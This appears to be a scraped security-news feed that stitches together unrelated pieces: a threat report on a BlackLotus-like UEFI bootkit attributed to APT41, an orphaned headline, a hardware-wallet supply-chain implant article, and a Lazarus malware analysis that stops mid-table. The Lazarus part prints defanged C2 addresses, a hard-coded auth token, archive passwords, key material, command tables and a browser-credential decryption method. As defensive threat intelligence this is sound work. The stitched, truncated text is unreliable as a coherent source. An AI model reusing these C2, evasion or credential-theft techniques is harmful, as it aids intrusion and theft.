However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.
Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.
The return of the infamous bootkit
In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.
Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:
inst.exe, an installer executablePVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation
The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.
Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.
The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.
While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.
Payload launched by the bootkit
The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.
The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.
The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.
User-mode second-stage payloads
Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:
| File suffix | Description | Type |
| 0X01 | A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module | Input |
| 0X02 | Result of the call TEST.Class1.RunCMD(argument_array) | Output |
| 0X03 | Task to upload a file to the drive | Input |
| 0X04 | Uploaded file | Output |
| 0X05 | Task to download a file to an infected machine | Input |
| 0X06 | File download status | Output |
| SSSR | Contains initial system info | Output |
We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.
Attribution
Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:
- In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
- The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
- The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.
Why did the target organizations get infected?
During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.
Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:
- A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
- A scheduled task named Secure-Boot-Update is created.
This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.
Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.
It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.
Conclusion
Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.
However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.




Arrakis Security Report Finds 76% of AI Agents Are Dormant but Keep Their Credentials and Connections
Cryptocurrency: Security Analysis of Hardware Crypto Wallets
Welcome back, aspiring cyberwarriors!
October 2026 brought a clear demonstration that hardware wallets, while far safer than software alternatives, are not immune to sophisticated physical attacks.
Beginning on 9 October, hundreds of users who had purchased Ledger devices through the Southeast Asian reseller CryptoBilis saw their funds drained across Bitcoin, Ethereum, TRON and other chains. On-chain researchers estimated losses between roughly $86 million and more than $100 million. Ledger confirmed that at least one affected device contained an unauthorized hardware implant and stated that every confirmed loss in the incident was linked to a device sold by CryptoBilis. The company has emphasized that its own infrastructure, firmware and direct sales channels were not compromised.
The Supply-Chain Attack
The attack was physical. Someone in the distribution chain opened genuine Ledger Nano X devices, installed a small circuit board and resealed them. The implant sits inside the enclosure under or behind the screen where foam padding normally rests, and taps the SPI bus that carries data from the Secure Element to the display. When the owner sets up the device and the screen shows the 24-word recovery phrase, the implant’s microcontroller recognizes those screens, reconstructs the words and sends them out over LTE using a provisioned eSIM and a small antenna. Because the original Secure Element remains untouched, the device continues to pass Ledger’s Genuine Check. Mark Karpelès and Tibane Labs have documented multiple generations of the implant, progressing from early versions with visible wires and a smaller battery to later flex-circuit designs that are harder to notice and sometimes keep the original battery.

Mark Karpelès publicly posted a photo of a unit that arrived from Malaysia with flawless packaging. The extra hardware only became visible when he opened the case.

Similar implants have been reported in devices obtained through other channels, including Japanese marketplaces and at least one European store, although Ledger has so far tied every confirmed fund loss specifically to CryptoBilis purchases.

The company has asked the reseller to halt sales and has advised recent buyers not to initialize unused devices. Those who already completed setup are told to move their assets to a new signer purchased directly from Ledger and initialized with a fresh seed phrase.
How to Buy a Hardware Wallet Safely
The single most effective protection is to purchase directly from the manufacturer’s own online store.

Authorized resellers are listed on the manufacturer’s website, yet CryptoBilis was also a partner that introduced modified units into the channel. Marketplace listings of third-party shops carry a much higher risk of both counterfeits and implants.
Once the package arrives, you should confirm that a new device requires you to generate a recovery phrase yourself on first use. Any recovery phrase that’s already written on a card or printed in documentation belongs to someone else and should never be used. The phrase must appear only on the device’s own screen and you must write it down yourself on paper or metal. Never type it into a computer or phone, don’t use websites or applications with it.
Below you can see a photo of the hardwallet owner signing a transaction inside the faraday cage to avoid any interference and possible theft.

Check Your Wallet
The first question is the source of the device. Anyone who bought a Ledger from CryptoBilis or another untrusted reseller in recent months should treat the unit as unsafe. Genuine Check is still worth running because it confirms that the Secure Element is original and the firmware is approved, yet it can’t detect added circuitry that merely listens to the screen.
You can also visually inspect the case for extra wires or antennas that can reveal tampering, but modern implants are designed to be inconspicuous and reliable detection usually requires opening the device. After a wallet is set up, compare receiving addresses shown on the device screen against those displayed in the companion application and review transaction history on block explorers for unexpected outgoing transfers. The recovery phrase must be generated by the device under your direct observation and written down only by you.
Mark Karpelès also has a few videos on opening and closing Ledger wallets that you might find helpful.
What to Do If You Suspect Compromise
If a device was purchased from CryptoBilis or any other questionable source and has already been initialized, the existing recovery phrase should be treated as compromised. Move your assets to a new wallet whose seed was generated on a trusted device bought directly from the manufacturer. Never reuse the old seed for any purpose.
More Recommendations
A BIP-39 passphrase adds a meaningful layer of protection because it isn’t displayed during ordinary setup and must be known in addition to the seed. It’s also known as passphrase (the extra “25th word”). It’s optional and you may choose it later. It is not generated or displayed by the device during ordinary setup. Adding it creates a hidden wallet, which means you have completely different keys and addresses.
For larger holdings use a multisignature arrangement to reduce reliance on any single device. Always check the address where you send your money to, as it can often be replaced by malware or bots making small transactions with similar addresses to mislead you into sending money to this similar address.
Hardware wallets still provide strong protection against the majority of remote thefts precisely because private keys never leave the Secure Element and every transaction requires physical confirmation on the device itself.
Summary
Hardware wallets can pass authenticity tests and still contain an implant capable of capturing the recovery phrase the moment it appears on screen. The best thing you can do is to buy devices only from the manufacturer, generate the seed yourself on the device and write it down offline. For anyone who recently purchased a device from a third party, the cost of generating a new seed and moving funds is far lower than the cost of discovering the compromise after the fact.
The post Cryptocurrency: Security Analysis of Hardware Crypto Wallets first appeared on Hackers Arise.
Operation FlashHole: Lazarus breaks security, defies control

In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.
Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.
Background
After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications appear to be maintained by the same vendor, and both are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy the Racket downloader and again in 2022 and 2023. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.
We noted that the spawned process was running with a high integrity level. The parent process, INISAFECrossWebEXSvc.exe, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after KrCERT’s public advisory.
As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a paper was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.
In July 2026, the South Korean government and several local security vendors also published a joint security advisory covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report Operation Double Barrel covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the attribution section.
Initial infection vector
Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.
The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (1, 2). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.
The websites contained embedded links that loaded an external JavaScript file via a script tag.
- Malicious link embedded in the résumé site:
hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js - Malicious link embedded in interior design site:
hxxps://pythonapischool[.]com/api/detach
Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain <username>.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.
Full infection chain
Following the initial compromise, the legitimate Windows binary fsquirt.exe was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.
Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name mscoree.dll. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.
Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.
Malware set
The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.
TechHub – the start of the chain
TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.
This variant is a more advanced version of the malware named CLOUDBURST by Mandiant and NickelLoader by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.
We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.
When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range 0x1000–0xFFFF or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request GET /issues?state=[open/closed] to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.
- It creates a new issue titled
1[ID]with the body “hel” using thePOST /issuesrequest, and sets its status to open. - It then retrieves a file from the repository containing the
2[ID]value in its name. This file contains the RSA public key. - It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with
1[ID], to the repository. - The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.
During file exchange, filenames follow the pattern [1|2][ID][random-16-byte-key] throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.
After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using PATCH /issues/[issue number]. The malware is now fully prepared to receive commands from the repository.
TechHub supports four commands. The laeca command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.
| Command | Description |
mqdrz |
Collect information about the device and its running processes |
laeca |
Directly invoke the received shellcode in memory |
aqvxp |
Terminate the current process |
rtcya |
Beaconing after finishing the handshake process |
Cubridge – the framework orchestrator
Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.
To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern [C2_URL]/[page1]/[page2]/[page3]. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – hxxps://cubedesign[.]co[.]kr/news/AABBCC – associated with the examined instance that is configured to version 5.1. During URL generation, AABBCC is substituted with a null value. The page3 segment is assigned a randomly generated integer between 10000000 and 99999999. Consequently, each generated URL is designed to appear authentic and remain unique for each request.
The predefined list for page1 is shown below. TechHub randomly selects one item from the list.
economy, opinion, politics, national, international, medical, investment, sports, lifestyle, shopping, culture
The predefined word list for page2 is shown below.
article, list, story
This means the hardcoded URL can later be transformed, for example, into hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678 by following the steps described above.
Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (KW4Ofw982CNJjxd51AVqkGAop), and a randomly generated 16‑byte hexadecimal session ID.
Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using X‑CSRF‑Token and X‑Requested‑With headers for authentication and the Upgrade‑Insecure‑Requests header to request additional data.
Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:
- Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);
- Tools (in DLL form) – independent utilities that perform one-off tasks;
- Modules – components that are loaded once and remain active providing an extended set of functionalities.
It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its DllMain entry point and its parameters are accessible; no other exported functions are exposed.
| Command | Payload type | Description |
| 0 | – | Collect device info including the computer name, time zone, PID, and other similar details |
| 1 | Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/ |
|
| 2 | Create a file at the specified path | |
| 3 | Possibly plugin | Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection |
| 4 | Plugin | Reflectively load a plugin in DLL format |
| 5 | Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters | |
| 6 | Retrieve all information about the loaded plugins | |
| 7 | Unload the specified plugin | |
| 8 | Shellcode | Inject the provided shellcode into the target process and load it using section mapping injection |
| 9 | Load the provided shellcode directly into memory | |
| 10 | Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter | |
| 11 | Retrieve all information about the loaded shellcode | |
| 12 | Unload the specified shellcode | |
| 13 | – | Set the scheduled Cubridge execution time (in minutes) by updating a global variable |
| 14 | Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable | |
| 15 | Terminate in a controlled manner | |
| 16 | Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc. | |
| 17 | Update the global flags, the number of C2 servers, the C2 addresses, etc. | |
| 18 | Tool | Load a DLL reflectively with the specified parameter |
| 19 | Configure the parameters for loading a single DLL | |
| 20 | Unload the single DLL | |
| 21 | Module | Load the “action module” (ActionModule.dll) reflectively and invoke its AppinfoView export function |
| 22 | Load the “function module” (FunctionModule.dll) reflectively and invoke its PresentationFontConfig export function |
Commands 21 and 22 each load a different module. As their internal names imply, the action module manages basic file and process operations, while the function module implements Windows’ default commands. The action module covers commands 23–41, and the function module handles commands 42–79.
The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its AppinfoView export function. The module supports 19 commands, numbered 23 through 41. Execution results are first sent to Cubridge, which then forwards them to the C2 server.
| Command | Role |
| 23 | Get local disk space for each drive |
| 24 | Get information about the specified file or directory |
| 25 | Execute the provided command |
| 26 | Get information about the specified file or directory (similar to command 24) |
| 27 | Execute the provided command under the target process (PPID spoofing) |
| 28 | Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation) |
| 29 | Get detailed information about processes |
| 30 | Terminate the provided process |
| 31 | Suspend all threads belonging to the specified process |
| 32 | Resume all threads belonging to the specified process |
| 33 | Permanently delete the file by overwriting its entire contents with the sequence: 0 → 1 → random bytes → 1 → 0 |
| 34 | Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API SetFileInformationByHandle |
| 35 | Set the current working directory |
| 36 | Copy the specified file to the provided path |
| 37 | Delete the specified directory |
| 38 | Move the specified file to the provided path |
| 39 | Create the provided directory |
| 40 | Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning) |
| 41 | Read the specified file |
The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its DllMain routine initializes all supported command functions, which are later accessed through the PresentationFontConfig export. Altogether, the module offers 38 commands, numbered from 42 to 79. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.
| Command | Role |
| 42 | Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/ |
| 43 | Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument |
| 44 | Get information about the specified directory |
| 45 | Get information about the specified drive |
| 46 | Inject the provided DLL payload into the target process |
| 47 | Unload the specified DLL from the specified process |
| 48 | Implementation of the ipconfig command |
| 49 | Implementation of the net command |
| 50 | Implementation of the netsh advfirewall firewall command |
| 51 | Implementation of the netstat command |
| 52 | Implementation of the ping -6 command |
| 53 | Implementation of the reg command |
| 54 | Implementation of the sc command |
| 55 | Implementation of the ping command |
| 56 | Implementation of the whoami command |
| 57 | Implementation of the nslookup command |
| 58 | Implementation of the schtasks command |
| 59 | Implementation of the systeminfo command |
| 60 | Implementation of the arp command |
| 61 | Call the CryptUnprotectData function to retrieve the AES key that DPAPI protects. Extract the key using the encrypted_key keyword from Chromium’s Local State file located at: %LOCALAPPDATA%\Google\Chrome\User Data\Local State |
| 62 | Not implemented |
| 63 | Not implemented |
| 64 | Read the specified file and decrypt it using an XOR operation with the key 0x59. Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/ |
| 65 ~ 79 | Not implemented |
Besides the modules, we also observed that the actor deployed various plugins and tools.
| Type of payload | Name | Description |
| Plugin | ADFinder (AdFinder.dll) |
Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names |
| Plugin | FileCollector (Dll.dll) |
Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each |
| Tool | Browser stealer | Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies |
| Tool | Process collector | Iterates over all running processes, collecting each process’s ID, path, and command line |
TouchHub installs a service for TouchShift
During our analysis, we obtained a previously unknown malware sample from TechHub’s private GitHub repository, which served as a parent installer for TouchShift. We dubbed this malware TouchHub. Upon execution, it copies the legitimate printfilterpipelinesvc.exe to C:\Windows\System32\RasConv\ImeBroker.exe, registers it as a service, and places an embedded TouchShift payload named mscoree.dll in the same directory. Following creation, the malware synchronizes the MAC timestamps of C:\Windows\System32\drivers\monitor.sys with those of the newly written file, hindering forensic analysis.
It then goes through the service registration process by collecting up to 100 legitimate service names that are registered under the netsvcs svchost group in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost. It randomly selects one of these names, appends two random alphabetic characters to form a new service name, and uses this name to create a service that runs the hard‑coded command line C:\Windows\System32\RasConv\ImeBroker.exe -TimeBroker with the description Microsoft Service. The newly created service is started immediately.
Overall, TouchHub creates three files in the designated directory to launch TouchShift with SYSTEM privileges.
| Path | Type | Description |
C:\Windows\System32\RasConv\ImeBroker.exe |
Executable file registered as a service | Copied from C:\Windows\System32\printfilterpipelinesvc.exe |
C:\Windows\System32\RasConv\mscoree.dll |
Side-loaded TouchShift payload | Dropped by TouchHub. It contains encrypted payloads and includes portions of a legitimate DLL’s contents, which significantly inflates its size |
C:\Windows\System32\RasConv\ActivationStore.dat |
TechHub’s configuration file | Dropped by TouchHub after extracting configuration values |
TouchShift, a prevalent loader employed across multiple infection chains
The version of TouchShift dropped by TouchHub is almost identical to the version described in Mandiant’s blog post, even sharing the same malicious export function, LockClrVersion. It takes the argument supplied by TouchHub and XORs it with a hard‑coded key. The resulting value is XORed once more with the executable’s filename, and this result is used as the AES key. All strings involved in this process (the argument, the XOR key, the filename) must be exactly 16 bytes long. If a string is shorter, it is padded with NULL bytes (\x00); if it is longer, it is truncated to 16 characters. For example, one of the string combinations in the obtained sample was:
- Argument:
-TimeBroker\x00\x00\x00\x00\x00 (padded with NULL) - Hard-coded XOR key:
x809G736iC3f8Wp8 - Executable filename:
ImeBroker.exe\x00\x00\x00(padded with NULL)
After deriving the key, the malware decrypts the embedded payload using AES‑CBC‑128 without padding. The decrypted data is shellcode that starts with a call instruction. It wraps the next‑stage payload – identified as the third version of TechHub (DLL side-loading with a registered service) – that reads the ActivationStore.dat file as an external configuration.
ClientHub
We also identified a new piece of malware stored in TechHub’s private repository, which we named ClientHub. It supports various commands formed using a bitmask. There are at least two versions of ClientHub: one that communicates with websites via HTTP(S) and one that interacts with the Dropbox API using credentials.
Depending on the version, its configuration is sourced from internal resources or the external configuration file C:\Program Files\Common Files\System\msadc\msadc.inc. The configuration comprises keys and IVs for the SNOW 1.0 algorithm, scheduled execution times, and C2 server addresses encrypted with the SNOW stream cipher. The SNOW cipher is a family of high‑speed stream ciphers used for secure data encryption in telecommunications and wireless networks. This is the first time it has been observed in the malware of the Lazarus Group.
To establish C2 communication, the malware initially generates a 32‑byte random array. It subsequently overwrites portions of this array with data collected from the compromised device. The resulting 32‑byte array comprises a blend of random bytes and relevant information. This array is later used as the key for the SNOW algorithm to decrypt data received from the C2 server. Finally, the key array is encrypted with a hard‑coded RSA public key and encoded in Base64.
| Offset | Size | Field value |
| 0 | 4 | Current process ID |
| 4 | 4 | First four bytes of the decrypted C2 server information. |
| 8 | 7 | Randomly generated bytes |
| 15 | 1 | Calculated flag value that indicates a state machine. |
| 16 | 8 | Current system time, represented as a FILETIME structure. |
| 24 | 8 | Randomly generated bytes |
The ciphertext is delivered to the C2 server via GET requests. Each request contains headers that are atypical for malware: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Mobile, Sec-Fetch-Mode, and Sec-Fetch-Dest. These headers are normally used by legitimate Chromium‑based browsers and enable malware to imitate legitimate traffic and evade detection. The C2 server replies with commands in a custom header and message body.
struct header
{
int has_more_data // whether more body data remains
int body_checksum;// ROR13 checksum for the body data
int body_type; // specifies the body type
int unknown;
int body_length; // Length of the body data
int IV[2]; // Random IV used to encrypt the body data
};The body_type field in the header determines how the subsequent payload is processed. This value functions as a bitmask, with each bit representing a distinct flag (e.g., 0x1, 0x2, 0x4, etc.). The resulting behavior also depends on whether the least‑significant bit (bit 0) is set: when the value is odd, the malware interprets the incoming message body as an additional payload that is subsequently loaded into memory. Conversely, when the value is even, the malware invokes the previously loaded payload.
The odd value supports four distinct loading methods based on the received message body and ensures that each method executes only once.
| Bitmask | Value in decimal | Description | Result sent to the C2 |
0x00000001 |
1 | DLL loading: load the received body reflectively along with the provided parameter | The payload’s image base |
0x00000011 |
3 | Plugin: load the received body reflectively, obtain the address of a function in the payload, and then invoke that function along with the provided parameter | The payload’s image base, the address of the invoked function, and the execution result |
0x00000101 |
